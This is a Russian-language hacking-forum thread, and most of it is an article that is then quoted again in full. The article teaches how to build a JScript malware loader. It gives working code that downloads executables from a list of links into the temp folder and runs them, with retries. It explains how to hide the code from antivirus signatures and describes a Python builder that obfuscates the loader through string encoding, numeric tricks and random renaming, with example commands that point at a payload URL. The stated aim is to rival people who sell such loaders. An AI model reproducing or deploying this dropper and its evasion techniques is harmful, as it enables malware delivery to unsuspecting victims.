• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Делаем свой JScript—лодырь

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Делаем свой JScript—лодырь

Как смотрю тут в последнее время продавцы этих лодырей сильно уж активизировались...

Сегодня мы с вами будем писать полнофункциональный лоадер, умеющий:
• Скачивать нескольких ссылок
• Обрабатывать ошибки, возникающие при скачивании или запуске
• Проверять файл перед запуском
Но как вы уже поняли, наша основная задача — написание билдера,
обфусцирующего код лоадера до неузнаваемости. Код лоадера выглядит так:
Код:
var win, fc = ‘anystr’[‘constructor’][‘constructor’], fc(‘eval(“win=this;”)’)();
var ao = win[‘ActiveXObject’], wsc = win[‘WScript’], str = win[‘String’];
var dt = win[‘Date’], b = [“links”], ws = new ao(‘WScript.Shell’), fn, dn, xo, xa, i;
function ld(indx) {
xo = new ao(“MSXML2.XMLHTTP”); dn=0;
fn = ws.ExpandEnvironmentStrings(“%TEMP%”) + str.fromCharCode(92)
fn = fn + new dt().getTime() + i.toString() + “.exe”;
xo.onreadystatechange=function()
{
if (xo.readyState == 4 && xo.status == 200)
{
xa = new ao(“ADODB.Stream”);
xa.open(); xa.type = 1; xa.write(xo.ResponseBody);
if (xa.size >= b[indx+1])
{
dn = 1; xa.position = 0; xa.saveToFile(fn, 2);
try { ws.Run(fn, 1, 0); } catch (e){ld(indx)};
} else { ld(indx) };
xa.close();
};
};
try { xo.open(“GET”,b[indx],false); xo.send();}
catch (er) {wsc.Sleep(3000);ld(indx)};
};
for (i = 0; i < b.length; i += 2) { ld(i); }

Изначально перменная win имела вид:
Код:
var win=this;

Это было сделано для сокрытия от простых синатур. Но с течением времени,
антивирусы научились обходить этот простой трюк и мы вынуждены получть
её таким сложным способом. Что делает наш код?

Переменной fc присваивается конструктор конструктора строкового
литерала, а это Function(). Далее этот конструктор одновременно создает и
вызывает функцию с телом eval(“win=this;”), в котором this присваивается
нашей переменной. Важно заметить, что это тело - строка, которая потом
будет обфусцирована и изменена до неузнаваемости, так что прямого
использования this мы избежали.
В переменной b записывается массив линков на бинарники и размер этих
файлов в байтах. Если размер получить не удалось, то будет стоять -1. Это
нужно чтобы удостовериться, что файл скачался без ошибок. Это конечно не
хеш сумма, но кое-какую уверенность может дать.
Далее создается функция, которая принимает индекс для массива b, чтобы
взять оттуда линк для загрузки. Там же генерится путь, куда мы сохранмим
файл перед запуском — мы берем временную папку. А в качестве имени файла
- время в секундах + индекс линка в массиве, дабы не было перезаписи при
загрузке множества ссылок единомоментно. Также создаются объекты для
скачивания и записи в папку через ActiveX.
Из интересного здесь — обработка ошибок, попытка загрузки и запуска
помещены в блок try-catch. Если файл не получается запустить, то он
перекачивается с нуля.Еесли же сервер не отвечает, то повторяем попытку
загрузки файла через каждые 3 секунды. В конце мы вызваем собранную
выше функцию в цикле, итерация идет через 2 значения i, потому что так
расположены ссылки в массиве.

Билдер
Упомянутый выше билдер — это обфускатор + настройки генерации. Сам
билдер написан на пайтоне. Посмотрим на трюки нашего обфускатора:

Строки
Обычно их разбивают на части, например:
Код:
“some_string” == “so”+“m”+“e_s”+“tr”+“in”+“g”.
Затем они перемешиваются и кодируются, получить первую “so” можно так:
Код:
[“Fsr”, “fMka”, “so”, “d5Es”, “8Af”][2] decodeURIComponent(“%73%6f”) String.fromCharCode(0x73,0x6f)

Числа
Обфускация чисел происходит через представление числа в виде суммы,
разности, частного или их комбинаций. Можно использовать функции вроде
Math.pow(), получать подстроку и приведить её к числовому типу или другие
трюки наподобие:
Код:
2 == !+[]+!+[]

Переименования
Кроме очевидной замены имён перменных, не лишним будет такой трюк:
Код:
obj.myfunc(123) == obj[‘myfunc’](123)
После обфускации наш код может выглядеть так:
Код:
obj[‘myfunc’](123) == fG9e_nC[‘my’+’\x66\x75’+Fds9ej(‘%6e%63’)](123);

Общая схема обфускации
• Запись нужных функций и перменных в понятном обфускатору видее
• Замена свойств на их вариант с квадратными скобками
• Замена имен переменных на строки случайной длины
• Обфускация строковых литералов
• Обфускация числовых литералов
• Удаление ненужных пробелов, переносов и т.п.

С учетом этого списка, наш код может быть представлен как:
Код:
obj.myfunc(123) == r5WkleZIW[[‘\x6d\x79\x66\x75’,’sbxT’,’a0e2’,r_Y2Id(‘%68%6e%42’)][0]+[‘hwf’,r_ Y2Id(‘%6e%63’),’pf2’,’S_Ng’][1]]([735-575,180,114+9][2])

Установка билдера
Для его работы потребуется python 2.7.x, с установленными slimit и jsmin:
Код:
Win: C:\Python27\Scripts\pip2.exe install slimit jsmin
Linux: sudo pip install slimit jsmin

Параметры запуска
Код:
--help — краткая сводка по параметрам.
--link — указываем ссылки через запятую
--out — директория, в которой сохраняются результаты (по умолчанию ./builds)
--num — количество билдов для генерации (по умолчанию 1)
--name — базовое имя для билдов (по умолчанию количество секунд)
--input — файл шаблона лоадера
--dbg — поставьте 1, чтобы выводить в консоль обфусцированный код

Например, можно использовать его так:
Код:
Win: C:\Python27\python.exe X:\path\to\jsl\jsl.py --link=http://server.com/file.exe --num=4
Linux: /usr/bin/python /path/to/jsl/jsl.py --link=http://server.com/file.exe --num=4

© Clank Racoon

сурс для тренировок клик
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Делаем свой JScript—лодырь

Как смотрю тут в последнее время продавцы этих лодырей сильно уж активизировались...

Сегодня мы с вами будем писать полнофункциональный лоадер, умеющий:
• Скачивать нескольких ссылок
• Обрабатывать ошибки, возникающие при скачивании или запуске
• Проверять файл перед запуском
Но как вы уже поняли, наша основная задача — написание билдера,
обфусцирующего код лоадера до неузнаваемости. Код лоадера выглядит так:
Код:
var win, fc = ‘anystr’[‘constructor’][‘constructor’], fc(‘eval(“win=this;”)’)();
var ao = win[‘ActiveXObject’], wsc = win[‘WScript’], str = win[‘String’];
var dt = win[‘Date’], b = [“links”], ws = new ao(‘WScript.Shell’), fn, dn, xo, xa, i;
function ld(indx) {
xo = new ao(“MSXML2.XMLHTTP”); dn=0;
fn = ws.ExpandEnvironmentStrings(“%TEMP%”) + str.fromCharCode(92)
fn = fn + new dt().getTime() + i.toString() + “.exe”;
xo.onreadystatechange=function()
{
if (xo.readyState == 4 && xo.status == 200)
{
xa = new ao(“ADODB.Stream”);
xa.open(); xa.type = 1; xa.write(xo.ResponseBody);
if (xa.size >= b[indx+1])
{
dn = 1; xa.position = 0; xa.saveToFile(fn, 2);
try { ws.Run(fn, 1, 0); } catch (e){ld(indx)};
} else { ld(indx) };
xa.close();
};
};
try { xo.open(“GET”,b[indx],false); xo.send();}
catch (er) {wsc.Sleep(3000);ld(indx)};
};
for (i = 0; i < b.length; i += 2) { ld(i); }

Изначально перменная win имела вид:
Код:
var win=this;

Это было сделано для сокрытия от простых синатур. Но с течением времени,
антивирусы научились обходить этот простой трюк и мы вынуждены получть
её таким сложным способом. Что делает наш код?

Переменной fc присваивается конструктор конструктора строкового
литерала, а это Function(). Далее этот конструктор одновременно создает и
вызывает функцию с телом eval(“win=this;”), в котором this присваивается
нашей переменной. Важно заметить, что это тело - строка, которая потом
будет обфусцирована и изменена до неузнаваемости, так что прямого
использования this мы избежали.
В переменной b записывается массив линков на бинарники и размер этих
файлов в байтах. Если размер получить не удалось, то будет стоять -1. Это
нужно чтобы удостовериться, что файл скачался без ошибок. Это конечно не
хеш сумма, но кое-какую уверенность может дать.
Далее создается функция, которая принимает индекс для массива b, чтобы
взять оттуда линк для загрузки. Там же генерится путь, куда мы сохранмим
файл перед запуском — мы берем временную папку. А в качестве имени файла
- время в секундах + индекс линка в массиве, дабы не было перезаписи при
загрузке множества ссылок единомоментно. Также создаются объекты для
скачивания и записи в папку через ActiveX.
Из интересного здесь — обработка ошибок, попытка загрузки и запуска
помещены в блок try-catch. Если файл не получается запустить, то он
перекачивается с нуля.Еесли же сервер не отвечает, то повторяем попытку
загрузки файла через каждые 3 секунды. В конце мы вызваем собранную
выше функцию в цикле, итерация идет через 2 значения i, потому что так
расположены ссылки в массиве.

Билдер
Упомянутый выше билдер — это обфускатор + настройки генерации. Сам
билдер написан на пайтоне. Посмотрим на трюки нашего обфускатора:

Строки
Обычно их разбивают на части, например:
Код:
“some_string” == “so”+“m”+“e_s”+“tr”+“in”+“g”.
Затем они перемешиваются и кодируются, получить первую “so” можно так:
Код:
[“Fsr”, “fMka”, “so”, “d5Es”, “8Af”][2] decodeURIComponent(“%73%6f”) String.fromCharCode(0x73,0x6f)

Числа
Обфускация чисел происходит через представление числа в виде суммы,
разности, частного или их комбинаций. Можно использовать функции вроде
Math.pow(), получать подстроку и приведить её к числовому типу или другие
трюки наподобие:
Код:
2 == !+[]+!+[]

Переименования
Кроме очевидной замены имён перменных, не лишним будет такой трюк:
Код:
obj.myfunc(123) == obj[‘myfunc’](123)
После обфускации наш код может выглядеть так:
Код:
obj[‘myfunc’](123) == fG9e_nC[‘my’+’\x66\x75’+Fds9ej(‘%6e%63’)](123);

Общая схема обфускации
• Запись нужных функций и перменных в понятном обфускатору видее
• Замена свойств на их вариант с квадратными скобками
• Замена имен переменных на строки случайной длины
• Обфускация строковых литералов
• Обфускация числовых литералов
• Удаление ненужных пробелов, переносов и т.п.

С учетом этого списка, наш код может быть представлен как:
Код:
obj.myfunc(123) == r5WkleZIW[[‘\x6d\x79\x66\x75’,’sbxT’,’a0e2’,r_Y2Id(‘%68%6e%42’)][0]+[‘hwf’,r_ Y2Id(‘%6e%63’),’pf2’,’S_Ng’][1]]([735-575,180,114+9][2])

Установка билдера
Для его работы потребуется python 2.7.x, с установленными slimit и jsmin:
Код:
Win: C:\Python27\Scripts\pip2.exe install slimit jsmin
Linux: sudo pip install slimit jsmin

Параметры запуска
Код:
--help — краткая сводка по параметрам.
--link — указываем ссылки через запятую
--out — директория, в которой сохраняются результаты (по умолчанию ./builds)
--num — количество билдов для генерации (по умолчанию 1)
--name — базовое имя для билдов (по умолчанию количество секунд)
--input — файл шаблона лоадера
--dbg — поставьте 1, чтобы выводить в консоль обфусцированный код

Например, можно использовать его так:
Код:
Win: C:\Python27\python.exe X:\path\to\jsl\jsl.py --link=http://server.com/file.exe --num=4
Linux: /usr/bin/python /path/to/jsl/jsl.py --link=http://server.com/file.exe --num=4

© Clank Racoon

сурс для тренировок клик
Привет, есть телеграм или жаба?
 
Если я не ошибаюсь, то вот уютный бложек автора статьи
jsraccoon.ru (могу ошибаться)
потому
ro$e
ищи контакты автора там, или пустьtabac скинет ссылку на источник (если ошибаюсь).
Вам копирайты специально для этого оставляют.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх